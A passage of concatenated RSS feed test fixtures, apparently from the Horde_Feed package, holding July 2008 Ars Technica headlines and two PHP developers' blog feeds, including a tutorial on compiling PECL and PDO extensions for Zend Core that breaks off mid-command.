href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=XhtIuj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=XhtIuj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=jyxGYJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=jyxGYJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=wagyCJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=wagyCJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341808345" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-court-whacks-fcc-janet-jackson-fleeting-exposure-fine-ready2edit.html Full-song playback comes to iLike, but with limitations http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341706331/20080721-full-song-playback-comes-to-ilike-but-with-limitations.html http://arstechnica.com/news.ars/post/20080721-full-song-playback-comes-to-ilike-but-with-limitations.html Mon, 21 Jul 2008 16:56:00 GMT jacqui@arstechnica.com (Jacqui Cheng) <p>Users of the popular social music service iLike can now get full streams of songs from all major labels and a handful of indie artists for free, but will be limited in the number of times they play per month unless they're Rhapsody subscribers. Clearly, this is more an extension of Rhapsody than a new feature to iLike.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-full-song-playback-comes-to-ilike-but-with-limitations.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=fb08f2e45e350113735d5514b7e83e67" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=fb08f2e45e350113735d5514b7e83e67" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=oUMB0j"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=oUMB0j" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=s0EKSJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=s0EKSJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=tyyDDJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=tyyDDJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341706331" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-full-song-playback-comes-to-ilike-but-with-limitations.html NBC gives Fallon webisodes to hone his late-night chops http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341672796/20080721-nbc-gives-fallon-webisodes-to-hone-his-late-night-chops.html http://arstechnica.com/news.ars/post/20080721-nbc-gives-fallon-webisodes-to-hone-his-late-night-chops.html Mon, 21 Jul 2008 16:12:00 GMT nate@arstechnica.com (Nate Anderson) <p>Before Jimmy Fallon gets his shot at replacing Conan O'Brien on NBC's late-night lineup, he has to practice... on the web.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-nbc-gives-fallon-webisodes-to-hone-his-late-night-chops.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=c01979f83de5987bb1c139c69dc4854a"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=c01979f83de5987bb1c139c69dc4854a"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=c01979f83de5987bb1c139c69dc4854a" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=rzNY3j"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=rzNY3j" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=MZxiPJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=MZxiPJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=IP9YJJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=IP9YJJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341672796" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-nbc-gives-fallon-webisodes-to-hone-his-late-night-chops.html This year's E3: substance over style—and far from dead http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341645673/20080721-this-years-e3-substance-over-styleand-far-from-dead.html http://arstechnica.com/news.ars/post/20080721-this-years-e3-substance-over-styleand-far-from-dead.html Mon, 21 Jul 2008 15:42:00 GMT bkuchera@arstechnica.com (Ben Kuchera) <p>This year's E3 Summit provided few instances of spectacle, but the games shown more than made up for the lack of flash. Our thoughts inside. </p><p><a href="http://arstechnica.com/news.ars/post/20080721-this-years-e3-substance-over-styleand-far-from-dead.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=9440c6661ad25c0ce4a1bfbbd100c9ae" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=9440c6661ad25c0ce4a1bfbbd100c9ae" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=0qdLgj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=0qdLgj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=d9VJqJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=d9VJqJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=AgWnbJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=AgWnbJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341645673" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-this-years-e3-substance-over-styleand-far-from-dead.html Lose-lose: Icahn drops proxy fight, Yahoo puts him on board http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341574862/20080721-lose-lose-icahn-drops-proxy-fight-yahoo-puts-him-on-board.html http://arstechnica.com/news.ars/post/20080721-lose-lose-icahn-drops-proxy-fight-yahoo-puts-him-on-board.html Mon, 21 Jul 2008 14:02:00 GMT jtimmer@arstechnica.com (John Timmer) <p>At least part of the Yahoo saga is coming to a close, as the company and Carl Icahn have reached a settlement in which Icahn will get a seat on the company's board, which will expand to seat two members of his choosing.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-lose-lose-icahn-drops-proxy-fight-yahoo-puts-him-on-board.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=e6105b579cb1b17c2ded354d70b7f0c6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=e6105b579cb1b17c2ded354d70b7f0c6" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=9ysuuj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=9ysuuj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=G7Hl0J"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=G7Hl0J" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=gEuR9J"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=gEuR9J" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341574862" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-lose-lose-icahn-drops-proxy-fight-yahoo-puts-him-on-board.html Universal: "Fair use" is still infringing http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341454104/20080721-universal-fair-use-is-still-infringing.html http://arstechnica.com/news.ars/post/20080721-universal-fair-use-is-still-infringing.html Mon, 21 Jul 2008 11:25:00 GMT nate@arstechnica.com (Nate Anderson) <p>Universal, in court to defend itself for pulling down a dancing baby video clip, tells a judge that its claim was made in good faith. The use may have been "fair," but that doesn't matter; it was still an infringement, and the letter was justified.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-universal-fair-use-is-still-infringing.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=53b1b1e2dd23e2ad2000b96abcb71739"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=53b1b1e2dd23e2ad2000b96abcb71739"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=53b1b1e2dd23e2ad2000b96abcb71739" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=Nt3Toj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=Nt3Toj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=RDiTzJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=RDiTzJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=LIcYWJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=LIcYWJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341454104" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-universal-fair-use-is-still-infringing.html Al Gore's call for renewable energy sets us up for a useful failure http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341406226/20080721-al-gores-call-for-renewable-energy-sets-us-up-for-a-useful-failure.html http://arstechnica.com/news.ars/post/20080721-al-gores-call-for-renewable-energy-sets-us-up-for-a-useful-failure.html Mon, 21 Jul 2008 10:05:00 GMT jtimmer@arstechnica.com (John Timmer) <p>Al Gore's call for an electrical grid without carbon emissions can't be implemented in a decade, but that doesn't mean working on it is a waste of time.</p><p><a href="http://arstechnica.com/news.ars/post/20080721-al-gores-call-for-renewable-energy-sets-us-up-for-a-useful-failure.html">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=1181233db8a27fe85637458c5b64adee" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=1181233db8a27fe85637458c5b64adee" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=lUKtYj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=lUKtYj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=z9v5MJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=z9v5MJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=Aq1JNJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=Aq1JNJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341406226" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080721-al-gores-call-for-renewable-energy-sets-us-up-for-a-useful-failure.html Ars System Guide: Summer Gaming Edition http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341204837/guide-200807.ars http://arstechnica.com/guides/buyer/guide-200807.ars Mon, 21 Jul 2008 04:45:00 GMT (Brian Won) <p>The Ars Summer Gaming Guide helps you the heat by giving you an excuse to stay inside, basked in the cool glow of the LCD as you blast your way through one opponent after another.</p><p><a href="http://arstechnica.com/guides/buyer/guide-200807.ars">Read More...</a></p><br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=5bd4738742b8d3a8b0b3b54fc5129f7d" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=5bd4738742b8d3a8b0b3b54fc5129f7d" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=9Ofy4j"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=9Ofy4j" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=VNxx8J"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=VNxx8J" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=rmcGhJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=rmcGhJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341204837" height="1" width="1"/> http://arstechnica.com/guides/buyer/guide-200807.ars Ubisoft DRM snafu reminds us what's wrong with PC gaming http://feeds.arstechnica.com/~r/arstechnica/BAaf/~3/341148574/20080720-ubisoft-drm-snafu-reminds-us-whats-wrong-with-pc-gaming.html http://arstechnica.com/news.ars/post/20080720-ubisoft-drm-snafu-reminds-us-whats-wrong-with-pc-gaming.html Mon, 21 Jul 2008 03:05:00 GMT bkuchera@arstechnica.com (Ben Kuchera) <p>A new patch broke some legally-downloaded versions of <em>Rainbow Six Vegas 2</em>, and Ubisoft made a quick and slightly embarrassing decision: officially use an illegal crack as a workaround. The situation is a troubling reminder of what's wrong with PC gaming.</p><p><a href="http://arstechnica.com/news.ars/post/20080720-ubisoft-drm-snafu-reminds-us-whats-wrong-with-pc-gaming.html">Read More...</a></p><br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=8d0599f72a21f82b6cd8d68964136b3e"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=8d0599f72a21f82b6cd8d68964136b3e"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=8d0599f72a21f82b6cd8d68964136b3e" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=41W6wj"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=41W6wj" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=yOrzBJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=yOrzBJ" border="0"></img></a> <a href="http://feeds.arstechnica.com/~f/arstechnica/BAaf?a=UejyIJ"><img src="http://feeds.arstechnica.com/~f/arstechnica/BAaf?i=UejyIJ" border="0"></img></a> </div><img src="http://feeds.arstechnica.com/~r/arstechnica/BAaf/~4/341148574" height="1" width="1"/> http://arstechnica.com/news.ars/post/20080720-ubisoft-drm-snafu-reminds-us-whats-wrong-with-pc-gaming.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blog.casey-sweat.us-%2Ffeed=rss20000664000175000017500000002066712653701626026567 0ustar janjan Jason E. Sweat's weblog http://blog.casey-sweat.us Spouting off on stuff that interests me. Mon, 30 Jun 2008 12:11:59 +0000 http://wordpress.org/?v=2.1.3 en Absolutely Hilarious http://blog.casey-sweat.us/?p=76 http://blog.casey-sweat.us/?p=76#comments Mon, 30 Jun 2008 12:11:59 +0000 Jason http://blog.casey-sweat.us/?p=76 http://blog.casey-sweat.us/?feed=rss2&p=76 PHP Oracle Web Development http://blog.casey-sweat.us/?p=75 http://blog.casey-sweat.us/?p=75#comments Wed, 21 Nov 2007 14:03:19 +0000 Jason http://blog.casey-sweat.us/?p=75 http://blog.casey-sweat.us/?feed=rss2&p=75 php|tek TDD live code http://blog.casey-sweat.us/?p=74 http://blog.casey-sweat.us/?p=74#comments Tue, 15 May 2007 20:34:32 +0000 Jason http://blog.casey-sweat.us/?p=74 http://blog.casey-sweat.us/?feed=rss2&p=74 Fixing RCA Lyra’s “File System Corrupted” error http://blog.casey-sweat.us/?p=73 http://blog.casey-sweat.us/?p=73#comments Tue, 21 Nov 2006 03:59:20 +0000 Jason http://blog.casey-sweat.us/?p=73 http://blog.casey-sweat.us/?feed=rss2&p=73 PHPLondon http://blog.casey-sweat.us/?p=72 http://blog.casey-sweat.us/?p=72#comments Sun, 08 Oct 2006 00:17:38 +0000 Jason http://blog.casey-sweat.us/?p=72 http://blog.casey-sweat.us/?feed=rss2&p=72 Places I Would Rather Be http://blog.casey-sweat.us/?p=71 http://blog.casey-sweat.us/?p=71#comments Tue, 12 Sep 2006 15:24:17 +0000 Jason http://blog.casey-sweat.us/?p=71 http://blog.casey-sweat.us/?feed=rss2&p=71 Farewell, buy why did you go? http://blog.casey-sweat.us/?p=70 http://blog.casey-sweat.us/?p=70#comments Sat, 29 Jul 2006 08:40:16 +0000 Jason http://blog.casey-sweat.us/?p=70 http://blog.casey-sweat.us/?feed=rss2&p=70 PHP Conferences http://blog.casey-sweat.us/?p=69 http://blog.casey-sweat.us/?p=69#comments Sun, 22 Jan 2006 04:04:14 +0000 Jason http://blog.casey-sweat.us/?p=69 http://blog.casey-sweat.us/?feed=rss2&p=69 Nerd Score http://blog.casey-sweat.us/?p=67 http://blog.casey-sweat.us/?p=67#comments Wed, 09 Nov 2005 03:23:44 +0000 Jason http://blog.casey-sweat.us/?p=67 http://blog.casey-sweat.us/?feed=rss2&p=67 Advise for an Aspiring PHP Developer http://blog.casey-sweat.us/?p=66 http://blog.casey-sweat.us/?p=66#comments Wed, 02 Nov 2005 13:57:05 +0000 Jason http://blog.casey-sweat.us/?p=66 http://blog.casey-sweat.us/?feed=rss2&p=66 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blog.coggeshall.org-rss.php%2Fversion=1.00000664000175000017500000011352012653701626030306 0ustar janjan Coggeshall.org http://blog.coggeshall.org/ PHP, Internet Architecture, and Technology en http://blog.coggeshall.org/templates/default/img/s9y_banner_small.png RSS: Coggeshall.org - PHP, Internet Architecture, and Technology http://blog.coggeshall.org/ 100 21 Interesting Developments at Zend http://blog.coggeshall.org/archives/353-Interesting-Developments-at-Zend.html For those of you who haven't been following it, <a href="http://www.zend.com/">Zend</a> on Monday went through a series of lay-offs which was <a href="http://www.washingtonpost.com/wp-dyn/content/article/2008/05/19/AR2008051902162.html">picked up</a> by the Washington Post. According to the brief article (which was a syndication from <a href="http://www.techcrunch.com/">TechCrunch</a>) Zend has laid off approximately 25% of their R&D staff in at attempt to become cash-flow positive and potentially line themselves up for an acquisition. I don't have any hard figures as to what that means but I'd estimate that Zend's recovered somewhere between $600-800k in revenues based on an educated guess of the average R&D salary for someone in Isreal (where R&D is based) of $60->$80k USD and the number of people estimated by TechCrunch as being laid off (about 10 people, which sounds right). If I'm anywhere in the ballpark there I think that's a significant recovery for Zend and very well could put them into the black.. Which is why Everyone I've spoken to who is familiar with the subject considers the lay-offs a positive thing (except of course those who lost their jobs -- sorry guys/girls -- I'd love to hire you but I can't open up an R&D shop in Isreal just yet..), but here are some things I've either heard from within the organization or read online which I think are worth commenting on:<br /> <br /> <ul><br /> <li>R&D wasn't the only department to get hit, although it was clearly the primary focus. The IT department, Business Development, Sales, and Global Services were also affected to a much smaller degree</li><br /> <li>Despite <a href="http://blog.internetnews.com/skerner/2008/05/will-ibm-buy-zend-php.html">speculation</a> from Internet News that the most likely buyer is <a href="http://www.ibm.com/">IBM</a>, but I find that very unlikely. I think it is much more probable that <a href="http://www.microsoft.com/">Microsoft</a> is the buyer if one exists</li><br /> </ul><br /> Why do I think I'd put my money behind Microsoft instead of IBM? Well, there are a lot of reasons.. Firstly, despite the impression given by the reporter at Internet News, IBM to me has shown more negativity in general toward Zend then it has positive in recent dates. For instance, <a href="http://www.projectzero.org/">Project Zero</a> (cited as a positive reason IBM would buy Zend) in my mind is hardly such. If you haven't seen this before, Project Zero is a platform for dynamic languages implemented entirely in Java (one of which is a PHP implementation). The thing is, the PHP which exists in Project Zero is completely incompatible with all of Zend's product line -- hardly something I would say means IBM is trying to align itself with Zend. In reality, I think Project Zero is really a shot at Microsoft's .NET architecture and an answer to the recent moves from Microsoft to port implementations of popular dynamic languages to run in the .NET DLR and IBM's willing to step on Zend's toes to do so. Secondly, while it is true that <a href="http://services.alphaworks.ibm.com/qedwiki/">QEDWiki</a> is a PHP application and built on top of <a href="http://framework.zend.com/">Zend Framework</a>, in recent months I've heard more and more rumors from contacts inside of IBM that QED is going to be re-implemented entirely in Java long-term.. Again, I just don't see how IBM's recent behavior adds up to an acquisition. <br /> <br /> That said, I do think Microsoft has a lot of good reasons to add Zend to their empire. Firstly, Zend has been a huge asset to Microsoft through their <a href="http://www.microsoft.com/presspass/press/2006/oct06/10-31MSZendPR.mspx">Technology Collaboration</a> to make PHP a first-class citizen on the Windows platform and <a href="http://devzone.zend.com/article/3233-Windows-Server-2008-Now-PHP-Ready">get it certified for Windows Server 2008</a>. This partnership, to me, is huge for Microsoft -- to the point I <a href="http://blog.coggeshall.org/archives/343-The-Microsoft-Trojan-Horse.html">expressed concern</a> over Microsoft's ultimate intentions -- the same justifications for my paranoia could very well be reason enough for Microsoft to acquire Zend. Secondly, I think a Zend acquisition makes a lot of sense to a company like Microsoft if you believe they well ultimately prevail in purchasing all or part of a company like <a href="http://www.yahoo.com/">Yahoo!</a> which is entirely based on PHP technologies (incidentally, I don't think <a href="http://www.facebook.com/">Facebook</a> is out of the picture either as a potential Microsoft acquisition target -- they already have an equity-interest there and the Facebook advertising engine could prove equally useful in the battle with <a href="http://www.google.com/">Google</a>). Bottom line to me is both of Microsoft's best options to compete with Google are PHP-based technology shops and Zend has been Microsoft's biggest ally in making these two very different technology platforms operate harmoniously -- that's got to be worth a few bucks. Oh, and did I mention that the rumor on the street is that Zend's co-founders <a href="http://andigutmans.blogspot.com/">Andi</a> and <a href="http://suraski.net/blog/">Zeev</a> have been making recent visits to Seattle? Not that it means anything, but it does make one wonder..<br /> <br /> Then again, I could be entirely wrong about the whole thing -- it sure is fun to speculate about it though. <br /> <br /> Coggeshall.org nospam@example.com (John Coggeshall) Zend, 2008-05-21T14:41:15Z http://blog.coggeshall.org/wfwcomment.php?cid=353 2 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=353 On MicroHoo! http://blog.coggeshall.org/archives/352-On-MicroHoo!.html If you don't read the Wall Street Journal Blog, <a href="http://blogs.wsj.com/deals/2008/05/03/microsoft-yahoo-translating-ballmers-letter/?mod=WSJBlog">this entry</a> is particularly amusing for those of you who were interested in following the Microsoft-Yahoo! potential acquisition. Coggeshall.org nospam@example.com (John Coggeshall) 2008-05-05T05:13:55Z http://blog.coggeshall.org/wfwcomment.php?cid=352 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=352 Fairwell, Zend! http://blog.coggeshall.org/archives/351-Fairwell,-Zend!.html After 3 1/2 years at <a href="http://www.zend.com/">Zend Technologies</a> I am both excited and saddened to announce that I will be resigning from my role of Sr. Professional Services Architect in the Global Services group as of April 11th. While it saddens me to leave such a vibrant, exciting and cutting-edge company I am excited to accept a CTO position at <a href="http://acsaccess.com/">Automotive Computer Services</a> (ACS).<br /> <br /> I can't share the details in a forum such as this as to why I have made such a change just yet, but needless to say despite the mid-90s look of the web site of my new employer I will be heavily involved in Web 2.0 technology, including <a href="http://framework.zend.com/">Zend Framework</a>/<a href="http://www.php.net/">PHP</a> and am quite excited at my new opportunity!<br /> <br /> On that note, I am actively seeking out quality <u>developers, graphics designers, and system administrators</u> for a new Silicon Valley based development and production office with a start date of the next few weeks. If you are a solid PHP developer (Javascript a plus), Graphics wizard, or system admin who is interested in working on exciting Web 2.0 technologies for great pay and benefits in the Bay Area, please send me your resume <b>john at coggeshall dot org</b>! I am looking for <b>25</b> quality people for the new office, so please don't hesitate to apply!!<br /> <br /> Finally, I'd like to give a huge <u>thank you</u> to Zend. It's been an amazing experience to spend the last three years in this environment and there is absolutely no measure to the amount of personal and professional growth I have been given the opportunity to realize through my time here. I wish all of my colleagues at Zend the best both as an organization and as individuals and know (not expect) that they will continue to achieve great things. <br /> <br /> <br /> <br /> <br /> Coggeshall.org nospam@example.com (John Coggeshall) 2008-04-01T22:47:26Z http://blog.coggeshall.org/wfwcomment.php?cid=351 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=351 Clinton Campaign Checking Acc! http://blog.coggeshall.org/archives/350-Clinton-Campaign-Checking-Acc!.html In an amazing example of how a lack of security can lead to really bad things, Seacoastonline.com has posted <a href="http://www.seacoastonline.com/apps/pbcs.dll/article?AID=/20080213/NEWS/80213011">this article</a> on their web site regarding a $500 check the Hilary Clinton campaign reimbursed someone for some rental space.. The thing is, they have <a href="http://www.seacoastonline.com/apps/pbcs.dll/article?AID=/20080213/NEWS/80213011&Template=photos"> a picture</a> of the gentlemen holding the check -- <u>with the Clinton campaign full routing and account number in plain view!</u> I'm not a particularly experienced hacker, but it seems to me the full banking and routing information of my checking account would be a bad thing to post online -- oh well, it's not like there are millions upon millions of dollars to protect. Coggeshall.org nospam@example.com (John Coggeshall) General, 2008-02-15T02:17:12Z http://blog.coggeshall.org/wfwcomment.php?cid=350 1 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=350 Sorry for the downtime http://blog.coggeshall.org/archives/349-Sorry-for-the-downtime.html For those of you who visited my web-site recently and found my blog to have require_once errors -- sorry! Apparently my hosting provider, <a href="http://www.mediatemple.net/">Media Temple</a> decided to change something which resulted in my paths being broken. As I have recently relocated from Buffalo, NY to San Jose, CA I didn't notice the issue until recently.<br /> <br /> There are so many things to talk about recently! I have been swept up in a wave of very interesting PHP and business things lately..<br /> <br /> <ul><br /> <li>The purchase of MySQL by Sun Microsystems for 1 billion dollars</li><br /> <li>The offer to purchase Yahoo! by Microsoft for upwards of $45 billion dollars</li><br /> </ul><br /> <br /> There are a few others too.. I'm sure I'll find some time to blog about my thoughts this weekend..<br /> <br /> John Coggeshall.org nospam@example.com (John Coggeshall) 2008-02-02T03:28:59Z http://blog.coggeshall.org/wfwcomment.php?cid=349 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=349 West Coast recruiters wanted http://blog.coggeshall.org/archives/348-West-Coast-recruiters-wanted.html Zend Technologies is looking for some more PHP rockstars.. If you are interested let me know (john at zend dot com). If you aren't interest but know some *good* recruiters in the SF Bay Area for this sort of thing I'd appreciate it as well!!<br /> <br /> Coggeshall.org nospam@example.com (John Coggeshall) Zend, 2008-01-29T02:48:19Z http://blog.coggeshall.org/wfwcomment.php?cid=348 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=348 Compiling extensions for Zend Core http://blog.coggeshall.org/archives/347-Compiling-extensions-for-Zend-Core.html Over the past few months there has been an increasing amount of conversation about <a href="http://www.zend.com/en/products/core/">Zend Core</a>, especially around how best to compile custom extensions for it. While Core does ship with a large list of extensions (which are all QA'd and supported by Zend) there are times when you would like to include non-official extensions from <a href="http://pecl.php.net/">PECL</a> for various reasons. Since there isn't a great deal of documentation out there about how to do this I thought I'd write a quick tutorial.<br /> <br /> Basically, to compile an extension for Zend Core you need to go through the following steps:<br /> <br /> 1) Download the source of your desired extension<br /> 2) Create the ./configure script for the extension as a stand-alone shared lib ("PHPize" it)<br /> 3) Compile and install the extension<br /> 4) Add the extension to your php.ini file<br /> <br /> Where most people get caught up is in step two of this process. So, how does one create the correct ./configure script? In a vanilla PHP from php.net, you would do this by executing the <code>phpize</code> command in the extension's source directory:<br /> <br /> <code><br /> $ cd /path/to/my/pecl/ext <br /> $/usr/local/bin/phpize<br /> </code><br /> <br /> When executed, this shell script will execute the necessary commands to prepare the extension for compilation and create a <code>configure</code> script in the extension's directory which you can then use to compile your extension. Think of this <code>configure</code> script as a mini-version of the standard PHP distribution version which only will work for the specific extension you are building:<br /> <br /> <code><br /> $ ./configure --enable-my-ext<br /> $ make<br /> $ sudo make install<br /> </code><br /> <br /> When building an extension for Zend Core, the process is almost identical. In fact, the only real difference is that you need to use the Zend Core version of <code>phpize</code> (and perhaps provide some paths to certain files)..for example:<br /> <br /> <code><br /> $ cd /path/to/my/pecl/ext<br /> $ /usr/local/Zend/Core/bin/phpize<br /> </code><br /> <br /> Because Zend Core is installed it a directory under /usr/local/Zend, chances are when you attempt to execute the ./configure script it will complain that it can't find a program called 'php-config'. To get around this, you'll need to make sure you also include --with-php-config as part of any ./configure command you need to compile the extension:<br /> <br /> <code><br /> $ ./configure --enable-my-ext --with-php-config=/usr/local/Zend/Core/bin/php-config<br /> $ make<br /> $ make install<br /> </code><br /> <br /> For most cases that should be all you need to compile the extension for Zend Core! <br /> <br /> <h2>If you need to compile a PDO Driver</h2><br /> One of the few exceptions to the directions above is when you attempt to compile a custom PDO extension. For example, many people are interested in compiling the <a href="http://pecl.php.net/package/PDO_SQLITE">pdo_sqlite</a> drivers for PDO into Core. Unfortunately, currently such a process is not officially supported by Zend. However, if you feel that you are comfortable enough you can "tweak" Zend Core to allow you to do so by following these steps:<br /> <br /> 1) Determine the PHP version your version of Zend Core uses by viewing the phpinfo() page of Zend Core.<br /> <br /> 2) Download the same PHP version from php.net (or check it out from the repository)<br /> <br /> <code>$ cvs -d:pserver:cvsread@cvs.php.net:/repository co -r php_5_2_5 php-src</code><br /> <br /> 3) Copy all of the PDO header files into Zend Core<br /> <br /> <code><br /> $ cd /path/to/php-src/ext/pdo<br /> $ mkdir /usr/local/Zend/Core/includes/ext/pdo<br /> $ cp *.h /usr/local/Zend/Core/includes/ext/pdo<br /> </code><br /> <br /> 4) Use the procedure outlined above for compiling a custom extension for Core to compile a custom version of the PDO base extension (in the ext/pdo directory of your PHP source install)<br /> <br /> <code><br /> $ cd /path/to/php-src/ext/pdo<br /> $ /usr/local/Zend/Core/bin/phpize<br /> $ ./configure --enable-my-ext --with-php-config=/usr/local/Zend/Core/bin/php-config<br /> $ make<br /> $ make install<br /> </code><br /> <br /> 5) Compile your custom PDO drivers<br /> <br /> <code><br /> $ cd /path/to/php-src/ext/pdo_sqlite<br /> $ 